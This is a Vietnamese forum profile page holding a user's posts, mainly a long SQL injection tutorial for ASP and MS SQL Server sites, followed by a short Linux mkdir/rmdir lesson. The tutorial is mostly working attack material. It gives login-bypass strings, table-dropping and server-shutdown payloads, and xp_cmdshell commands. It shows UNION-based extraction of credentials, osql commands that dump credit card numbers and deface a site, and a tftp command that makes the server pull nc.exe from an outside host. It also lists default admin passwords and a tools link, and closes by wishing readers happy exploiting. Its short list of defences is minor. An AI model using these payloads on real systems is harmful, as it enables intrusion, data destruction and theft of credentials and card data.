banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: BigballVN  XML
Profile for BigballVN Messages posted by BigballVN [ number of posts not being displayed on this page: 0 ]
 
Ví dụ 1:
Microsoft SQL phát triển riêng cho mình 1 cách viết lệnh SQL mới , còn gọi là Transact SQL, hay TSQL. Tôi sẽ sử dụng sức mạnh của TSQL để mô tả về cách thức tấn công SQL Injection. Hãy dựa vào câu SQL mà chúng ta đang xem xét. Giả sử tôi nhập vào :

Username: ' having 1=1 ---
Password: [Anything]

Câu SQL trở thành

CODE
select userName from users where userName='' having 1=1



Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/login.asp, line 16

Nhìn kỹ lại thông báo và chúng ta thấy rằng Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗi SQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE :

Username: ' or users.userName like 'a%' ---
Password: [Anything]

và câu SQL trở thành

CODE
select userName from users where userName='' or
users.userName like 'a%' --' and userPass=''



Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin

Logged In As admin

Ví dụ 2:
Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu query mới. Ví dụ như
select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này , ta hãy làm như sau:

Username: ' or 1=1; drop table users; --
Password: [Anything]

Và ...phù, toàn bộ dữ liệu về users của website biến mất.

Ví dụ 3:
Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm biến mất Database hoặc thậm chí shutdown luôn IIS. Chúng ta sẽ xem xét 1 số lệnh đặc biệt của Ms.SQL và phần "stored procedures". Đa số website khi kết nối với Database thường sử dụng account sa(default system account) để kết nối từ ASP đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và thêm vào database, table , triggers....

Nào bây giờ chúng ta hãy nhập vào:

Username: '; shutdown with nowait; --
Password: [Anything]

Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ trình SQL service manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu SQL trở thành


CODE
select userName from users where userName='';
shutdown with nowait; --' and userPass=''



Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra là nó đã bị dừng và khởi động nó lại bằng tay.

SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách dễ dàng như đọc thư mục , registry , xóa files, chạy 1 dòng lệnh command... Toàn bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể gây nguy hiểm cho server. Hãy xem xét , giả sử IIS chạy cùng server với SQL server và chúng ta nhập vào:

Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]

Câu lệnh SQL trở thành


CODE
select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; --' and userPass=''



Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến mất !!!

Ví dụ 4:
Bây giờ, chúng ta sẽ chuyển qua 1 thứ mà chúng ta thường gặp hơn. Thông thường khi vào những website thương mại , bạn thường thấy URL có dạng như sau:

www.mysite.com/products.asp?productId=2

Trong đó, ID = 2 là mã hàng hoá và câu lệnh để lấy thông tin về hàng hoá là

CODE
Select prodName from products where id = 2



Và chúng ta hãy tạo 1 files có nhiệm vụ đưa ra thông tin hàng hoá là products.asp như sau

CODE
<%
dim prodId
prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if
%>


Sau đó chúng ta nhập vào dòng URL của Browser
http://www.mysite.com/products.asp?productId=0%20having%201=1

Ngay lập tức, trình duyệt sẽ báo lỗi như sau

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/products.asp, line 13

Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh vào

http://www.mysite.com/products.asp?productId=0;insert%20into%20products
(prodName)%20values(left(@@version,50))

Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server (Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại

http://www.mysite.com/products.asp?productId=(select%20max(id)
%20from%20products)

Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm vào. Hãy xem bạn đã lấy được gì

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấn công và chiếm toàn quyền điều khiển server.
SQL Injection là gì ?

Cơ sở dữ liệu(database) được coi như là "trái tim" của hầu hết các website. Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ các thông tin phát sinh trong quá trình chạy. Nó cũng lưu trữ những thông tin cá nhân , thẻ tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả của Administrator. Hơn cả thế nữa , database còn lưu trữ cả những chi tiết về hoá đơn mua hàng , chi tíêt hàng hoá...Đó chính là lý do mà việc bảo vệ Database của 1 website lại rất quan trọng để bảo vệ quyền lợi khách hàng, vận hành việc kinh doanh 1 cách hiệu quả.

Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn. Điều gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện ? Bạn sẽ trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng dụng lên version mới hơn. Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác không thể nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này phát sinh là do...chính bạn. Lỗi SQL Injection (Chèn lệnh SQL).

SQL Injection là gì ?
Ngày nay các ứng dụng SQL ngày càng trở nên thân thiện hơn và dễ sử dụng hơn. Nhưng theo qui tắc bảo mật, cái gì càng dễ sử dụng và càng nhiều tính năng thì càng dễ bị tấn công và điều này hoàn toàn đúng với 1 số phiên bản của ngôn ngữ SQL mà tôi sẽ mô tả sau đây bằng 2 công nghệ thông dụng nhất hiện nay , ngôn ngữ ASP và Ms.SQL server.

Như bạn đã biết, ngôn ngữ SQL (Structured Query Language) thông thường là sự kết hợp của những lệnh như SELECT , UPDATE hay INSERT... Như với SELECT, sau mỗi lệnh là sự trả về 1 số data cần thiết, vd như


CODE
SELECT * FROM Users WHERE userName = 'justin';



Định nghĩa WHERE userName = 'justin' có nghĩa rằng chúng ta múôn biết tất cả các thông tin smilie về username có tên là justin. Bởi vì ngôn ngữ SQL gần với câu nói tự nhiên , dễ hiểu như vậy nên nó đã nhanh chóng được tiếp nhận và nó cũng mở ra cơ hội cho việc khai thác lỗi SQL Injection bằng cách "nói thêm".

Bằng cách chèn thêm 1 vài dòng vào , hackers có thể gây ra sự nhầm lẫn của server và thực hiện 1 ý đồ khác ngoài mục tiêu của chương trình. Hãy xem xét ví dụ sau:

Thông thường , để kiểm tra đăng nhập 1 user, đa số website sẽ cung cấp 1 form như sau:

CODE
<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>



Khi users nhấn nút Submit, website lập tức chuyển data đến files login.asp qua hàm Request.Form . Sau đó , 1 câu SQL sẽ được thực hiện để xác định danh tính user này. Chúng ta có thể tạo 1 files login.asp như sau:


CODE
<%
dim userName, password, query
dim conn, rS

userName = Request.Form("userName")
password = Request.Form("password")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select * from users where userName='" &
userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if
%>



Và sau đó , hãy tạo 1 database mẫu như sau:


CODE
create database myDB
go

use myDB
go

create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)

insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('fsmith', 'mypassword')



Nào , bây giờ nếu chúng ta nhập vào user:john và password:doe , thì câu SQL sẽ như thế này:


CODE
select countsmilie from users where userName='john' and userPass='doe'



Boom, chúng ta login được vào trong vì câu query hoàn toàn đúng và User John cùng với password là hiện hữu. Hãy dừng lại 1 chút ở đây , bạn hãy xem kỹ có phải bạn cũng đã làm như vậy đối với website của bạn và nó...không có lỗi. Nếu bạn trả lời là đúng , hãy đọc tiếp...Điều gì xảy ra nếu Hackers điền vào form như thế này:

User:john
password:' or 1=1 --

Câu query trở thành


CODE
select * from users where userName='john' and
userPass='' or 1=1 --'



Ms.SQL qui định tất cả những gì theo sau "--" đều là câu chú thích (Giống như dấu // trong C++) , do đó câu query bây giờ sẽ:

1. Kiểm tra xem có username là john hay không ? --> Có
2. Kiểm tra xem 1 = 1 đúng hay không ? --> Đúng
3. Sau -- là chú thích , không quan tâm. --> Đúng

Vì cả 3 điều kiện đều là đúng nên bạn sẽ login được vào tài khoản của john một cách dễ dàng mà không cần biết password của anh ta. 2 dấu -- để ở cuối câu SQL dùng để loại bỏ thông báo lỗi của MS.SQL vì còn 1 dấu ngoặc đơn (quote) của câu SQL chính thức.

Nào , bây giờ xem chúng ta có thể khai thác được gì nhiều hơn từ "chiêu" đơn giản này ? Bạn hãy nhìn lên Table Users mà bạn vừa tạo lúc nãy. Trong hầu hết các hệ thống , users cấp cao nhất (Administrator) thường là user được tạo ra đầu tiên và một biện pháp an toàn cơ bản là không bao giờ lấy tên User là Administrator , nhưng có hề gì nếu ta nhập vào:

Username: ' or 1=1 ---
Password: [Bất cứ cái gì]

Câu SQL trở thành

CODE
select * from users where userName='' or 1=1
--' and userPass=''



Và boom , bạn đã trở thành Administrator và có mọi quyền hành để điều khiển website.

Việc nhập vào form của 1 website để khai thác lỗi SQL Injection là cách thường thấy nhất. Phần sau tôi sẽ hướng dẫn bạn 1 số cách khắc phục , nhưng trước hết chúng ta hãy xem thêm 1 vài ví dụ về khai thác lỗi SQL Injection
//*********************************************************//
//**************SQL INJECTION **************//
//*********************************************************//

//********************//
//*******INTRO:*******//
//********************//

Hầu hết các chương trình ứng dụng web mới đều dựa trên cấu trúc dữ liệu động để để đạt được tính hấp dẫn của các chương trình desktop cổ điển. Cơ chế động này đạt được bằng cách thu thập dữ liệu từ 1 database. Một trong những nền database phổ biến hơn cả trong các ứng dụng e-shop là SQL. Rất nhiều các ứng dụng web chỉ dựa hoàn toàn vào những scripts ở đầu vào ( phía người dùng - client ), những đoạn scripts này chỉ đơn giản là truy vấn 1 SQL database nằm ở ngay trên webserver hay nằm trên 1 hệ thống đầu cuối ( phía server ) riêng biệt. Một trong những cách tấn công khó bị nhận thấy và nguy hiểm nhất lên 1 ứng dụng web bao gồm việc chiếm đoạt những chuỗi truy vấn được dùng bởi các scripts, để đoạt quyền điểu khiển ứng dụng đó hoặc các dữ liệu của nó. Một trong những cơ chế hiệu quả nhất để đạt được điều đó là một kỹ thuật gọi là SQL injection ( kỹ thuật chèn những câu lệnh SQL )

//********************//
//*****CONTENTS:******//
//********************//

Cơ sở dữ liệu là trái tim của một website thương mại. Một cuộc tấn công vào server lưu giữ CSDL có thể gây ra thất thoát lớn về tài chính cho công ty. Thông thường CSDL bị hack để lấy các thông tin về thẻ tín dụng. Chỉ cần một cuộc tấn công sẽ làm giảm uy tín và lượng khách hàng bởi vì họ muốn thông tin về CC của mình được an toàn. Hầu hết các website thương mại dùng Microsoft SQL (MSSql) và Oracle. MSSQL vẫn đang chiếm ưu thế trên thị trường vì giá thành rẻ. Trong khi Oracle server được bán mắc hơn. Oracle đã từng tuyên bố là "không thể xâm nhập được", nhưng những hacker coi đó như là 1 lời thách thức và đã tìm ra rất nhiều lỗi trong Oracle server..

Bài viết được chia làm 2 phần
1. Dùng HTTP cổng 80
2. Dùng MS SQL cổng 1434

Phần 1 - Dùng cổng 80 HTTP
----------------------------------------------------------------

Kiến thức trong phần này hữu ích không chỉ đối với các hacker mà còn với những người thiết kế web. Chỉ cần một lỗi thông thường tạo ra bởi người thiết kế web có thể làm lộ thông tin về CSDL của server cho hacker. Toàn bộ mục đích của trò chơi là các chuỗi truy vấn. Người đọc coi như có kiến thức về các truy vấn và ngôn ngữ asp ( active server pages ). Thêm nữa là cách tấn công này thường chỉ cần dùng bằng 1 trình duyệt internet. Vì vậy bạn không cần bất cứ một tool nào ngoại trừ IE hay Netscape.

Thông thường, để làm 1 trang đăng nhập, người thiết kế web sẽ viết 1 đoạn mã như sau:

login.htm

<html>
<body>
<form method=get action="logincheck.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>

File logincheck.asp nằm trên server dùng để kiểm tra thông tin do user nhập vào có nội dung:

logincheck.asp

<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")

set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
%>

Thoạt tiên đoạn code trên có vẻ ổn. 1 người dùng type username và pass trong trang login.htm và click 'Submit'. Giá trị được type vào sẽ được browser chuyển về cho logincheck.asp kiểm tra bằng cách dùng câu truy vấn "Select * from table1 where login='"&log& "' and password='" &pwd& "' ".
Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn:

"Select * from table1 where login='"&log& "' and password='" &pwd& "' "

Nếu 1 user type tên đăng nhập là "hack" và mật khẩu là "passne" thì những giá trị này sẽ được chuyển cho trang asp với method "POST" và câu truy vấn trên trở thành:

"Select * from table1 where login=' hack' and password=' passne ' "

Tốt. Nếu như có 1 dòng chứ login name "hack" và password "passne" trong CSDL thì chúng ta sẽ nhận được thông báo đăng nhập thành công. Nhưng nếu như type loginname là "hack" và password là hi' or 'a'='a' trong phần password ? Câu truy vấn sẽ trở thành:

"Select * from table1 where login=' hack' and password=' hi' or 'a'='a ' "

Click 'Submit' và Bingo, đăng nhập thành công. Chuỗi truy cập được thoả mãn khi điều kiện là password bằng 'hi' HOẶC 'a'='a'. Điều này luôn đúng và hacker sẽ đăng nhập với nick 'hack'. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website:

hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Dấu -- được thêm vào làm cho phần còn lại của chuỗi truy vấn trở thành 'chú thích' nên các điều kiện khác sẽ không bị kiểm tra. Tương tự có thể dùng:
hack' --
hack" --

hoặc những username khác và chọn lựa password bất kỳ để có thể đăng nhập được. Bởi vì trong câu truy vấn chỉ có phần username được kiểm tra là 'hack' và phần còn lại bị bỏ đi do có dấu -- . Nếu may mắn gặp được vào những website mà người thiết kế web đã mắc những lỗi trên, và bạn có thể login với bất kỳ username nào.

Cách tấn công cao cấp hơn: dùng các thông báo lỗi của ODBC
--------------------------------------------------------------

Theo trên ta có thể thấy cách login mà không cần phải biết bất cứ 1 password nào. Dưới đây là cách để đọc toàn bộ CSDL chỉ bằng cách dùng các truy vấn trong URL. Cách này chỉ thực hiện được đối với IIS servers, nghĩa là với các trang asp. Và IIS được sử dụng trong gần 35% các ứng dụng thương mại web. Vì vậy chắc chắn bạn sẽ tìm ra 1 nạn nhân sau khi chỉ search một vài website. Thí dụ như:

http://www.nosecurity.com/mypage.asp?id=45

trong URL, dấu '?' cho thấy đằng sau nó, giá trị 45 sẽ được chuyển cho 1 thông số ẩn. Chúng ta hãy xem lại ví dụ trên, trang login.htm có 2 form input dạng text tên là 'login_name' và 'pass', và các giá trị của 2 form này sẽ được chuyển cho logincheck.asp

Việc đăng nhập thành công cũng có thể thực hiện bằng cách mở trực tiếp trang logincheck.asp bằng cách dùng link:http://www.nosecurity.com/logincheck.asp?login_name=hack&pass=passne nếu method là GET thay vì POST ( save html lại và sửa POST bằng GET )

Lưu ý: sự khác nhau giữa GET và POST là POST sẽ không hiện ra các giá trị được chuyển sang trang sau trên URL trong khi GET làm hiện lên các giá trị này. Để biết thêm về GET và POST nên đọc thêm RFC 1945 và 2616 trong giao thức HTTP

Sau dấu '?' thì các biến được dùng trong trang logincheck.asp sẽ được gán bằng giá trị hacker type vào. Trong URL trên thì login_name sẽ được gán với giá trị hack. Các giá trị khác nhau được ngăn cách bởi dấu '&'
Quay trở lại trang index.htm, biến id có thuộc tính ẩn và tuỳ theo những link người dùng click, giá trị của id sẽ thay đổi. Giá trị này sẽ được chuyển vào trong câu truy vấn mypage.asp và user sẽ được trả về trang mình muốn. Ứng với giá trị của 'id' là 46 sẽ có một trang khác.

Chúng ta bắt đầu hack: type thêm vào trên URL câu truy vấn sau:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

information_schema.tables là một table hệ thống chứa thông tin về tất cả table của server. Trong đó có một field table_name chứa tất cả tên của các table. Chuỗi query SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES trả về giá trị là tên của table đầu tiên với kiểu string (nvarchar) trong INFORMATION_SCHEMA.TABLES, và chúng ta lại gộp nó 45 là một giá trị số. Vì vậy server sẽ thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line

Trong thông báo lỗi trên ta nhận được một table là 'logintable'. Table này có thể chứa tên truy cập và password của các user. Tiếp tục type câu lệnh sau lên URL:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'--

Tương tự table_name, column_name cũng là 1 field trong table hệ thống INFORMATION_SCHEMA.COLUMNS chứa tất cả tên các column. Và ta đang gộp tên của column đầu tiên trong table 'logintable' với giá trị 45, nên sẽ có thông báo lỗi:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5

Thông báo lỗi cho thấy column đầu tiên trong 'logintable' là 'login_id', để lấy tên của column thứ 2:

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

Chúng ta có thêm 1 column nữa là 'login_name', tiếp tục lấy column thứ 3

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'passwd' to a column of data type int. /index.asp, line 5

Đây là thông tin ta cần có: password login. Bước kế tiếp là lấy thông tin login và password từ table 'logintable', type;

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int. /index.asp, line 5

Đây rồi: 1 trong những login name là 'Rahul', câu lệnh lấy password của user Rahul sẽ là:
http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--

Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int. /index.asp, line 5
OK, tên truy cập : Rahul và mật khẩu là p455w0rd. Ta đã crack được CSDL của www.nosecurity.com. Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của người dùng. Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống tốt nhất là phân tích những request của user và lọc đi các ký tự như ', ", --, : ....

Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL )
------------------------------------------------------

Chúng ta đã thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed URL và chỉ bằng cổng 80 ( cổng http ). Sau đây ta sẽ hack database dùng port 1434. Trước khi hack chúng ta nên biết thật sự các database server là gì và hoạt động như thế nào, cùng với cách khai thác chúng.

Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm:
sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó
VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables -> hiển thị tất cả table trong database hiện tại
VD: EXEC sp_tables

xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root )

xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng.

xp_regdeletekey -> xoá một key trong registry của windows
xp_regdeletevalue -> xoá một giá trị trong registry
xp_regread -> in 1 giá trị trong registry lên màn hình
xp_regwrite -> gán 1 giá trị mới cho 1 key
xp_terminate_process -> ngừng một process nào đó

Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete

Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass )

Tiếp theo là cách hack db. Đầu tiên ta cần tìm ra một server bị lỗi. Download 1 chương trình scan port và scan 1 dãy ip để tìm ip có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào:
C:>osql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]

Đây là help file cho osql. Tiếp tục:
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
Nếu chung ta nhận được dấu nhắc
1>
có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user "sa"

Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục "xp_cmdshell" như sau:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”

Tôi khuyến khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự ta có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Ta cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách:

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”

Kiếm thông tin login trong các table như login, accounts, users ...
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”

và lấy thông tin về username cùng với credit card.

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”

Output:

Username creditcard expdate
----------- ------------ ----------
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000

Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver )

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’”

Upload file lên server dùng tftp:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”

Để download một file nào đó ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy chúng ta. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy của chúng ta tới server.

Tools dùng hack các SQL pass có rất nhiều trên web. Ngay cả lỗi tràn bộ đệm cũng có thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin. Bài viết này chỉ đề cập một số vấn đề tổng quát về db server.

• Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports.

Phương pháp phòng chống
---------------------------

<*> Đổi password mặc định của user "sa"
<*> Xoá tất cả các thủ tục được mặc định lưu trữ trên server
<*> Lọc những ký tự như ',",--,: ...
<*> Update SQL với những bản mới nhất
<*> Khoá các port SQL bằng cách dùng firewall

Một số website về SQL security"
http://sqlsecurity.com
http://www.cert.com

Any comments and good criticism is always accepted at guatehack@linuxmail.org

[End of Original Message]

1. Một số password default cho các super-user:
Oracle sys: oracle

mySQL (Windows) root:null

MS SQL Server sa:null

DB2 dlfm:ibmdb2
2. Collection các tool dùng cho SQL:
SQLTools.zip ---------> www.lebuudan.net/SQLTools.zip
Bao gồm:
SQLcracker + passlist + userlist
SQLdos.exe
SQLscanner.exe
SQLping.exe
and more.

3.OSQL.exe nằm trong bộ MSDE của microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên. Hông thì thui, host nhỏ xíu hà.

4. ebook/text :
ebook: http://www.hackersplayground.org/books.html
text: http://www.hackersplayground.org/papers.html
SQLinjection: http://www.hackersplayground.org/papers.html

Chúc khai thác vui vẻ !
Bác nên ghi copyright chứ. Nếu mình nhớ không lầm thì bài này bên dot.net.vn thì phải smilie
- Tạo một thư mục mới : Sử dụng lệnh mkdir

Ví dụ :


Code:
[niit@linuxpc1 niit]$ mkdir ceme
[niit@linuxpc1 niit]$ _
Với lệnh như trên, thư mục ceme sẽ được tạo trong thư mục hiện hành ( là thư mục niit ), nếu muốn tạo thư mục mới ở một thư mục khác, ta thêm đường dẫn đến thư mục đó.

Ví dụ :


Code:
[niit@linuxpc1 niit]$ mkdir /tmp/ceme
[niit@linuxpc1 niit]$ _
Khi đó, thư mục ceme sẽ được tạo thêm trong thư mục /tmp

- Xóa một thư mục : Sử dụng lệnh rmdir

Ví dụ :


Code:
[niit@linuxpc1 niit]$ rmdir ceme
[niit@linuxpc1 niit]$ _
Lưu ý : Một thư mục có thể bị xóa bằng cách sử dụng lệnh rmdir khi :
- Thư mục đó rỗng ( không có file hoặc thư mục con ở trong )
